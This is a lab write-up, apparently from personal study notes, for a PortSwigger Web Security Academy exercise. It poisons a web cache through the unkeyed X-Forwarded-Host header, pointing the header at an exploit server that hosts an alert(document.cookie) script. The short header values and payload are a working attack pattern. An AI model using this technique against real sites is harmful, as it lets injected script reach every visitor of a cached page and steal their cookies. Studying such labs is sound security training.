> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).
# Cache Poisoning with an Unindexed Header
Cache Poisoning with an Unindexed Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Web Cache Poisoning with an Unkeyed Header
This application is vulnerable to a **web cache poisoning** because it deals dangerously with an entry from a **unkeyed header**. / A legitimate user regularly visits the home page of the site.
\*\* Target:\*\*/ Poison the cache so that the home page serves a response that executes `alert(document.cookie)` in the victim's browser.
**Analysis of cache behavior**
* When intercepting the query to the main page, a **`Age`** parameter is observed in the response, indicating that the resource is cached for **30 seconds**.
* Adding an arbitrary parameter to the URL, for example `?test=1`, shows that:
* The cache key is regenerated.
* The cached content can be modified and served to other users during the cache.
If one manages to poison the root response (`/`), any visitor will see this malicious content during these 30 seconds
**Search for exploitable headers**
* Using **Param Miner** in Burp Suite:
* Since the **Repeater**, the function **Guess headers** is used.
The extension detects a poisoning behavior of the header-bound cache **`X-Forwarded-Host`**.
**Unindexed header operation**
* The following heading is added to the request:
```http
X-Forwarded-Host: test.com
```
* The answer then includes a loading of JavaScript resource from this domain.
* When reloading, the application always tries to retrieve this script, which confirms that the answer is cached.
**Redirect to the operating server**
* The header value is replaced by the operating **server domain**:
```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```
The application then seeks to load the following resource:
**Malicious Payload Injection**
* On the operating server, you create the file:
```javascript
/resources/js/tracking.js
```
File Content:
```javascript
alert(document.cookie)
```
* This script is now included in the cached answer.
**Result**
* When a user visits the home page during the cache validity period:
* The browser loads the poison script.
* A dialog box appears with `document.cookie`.
---
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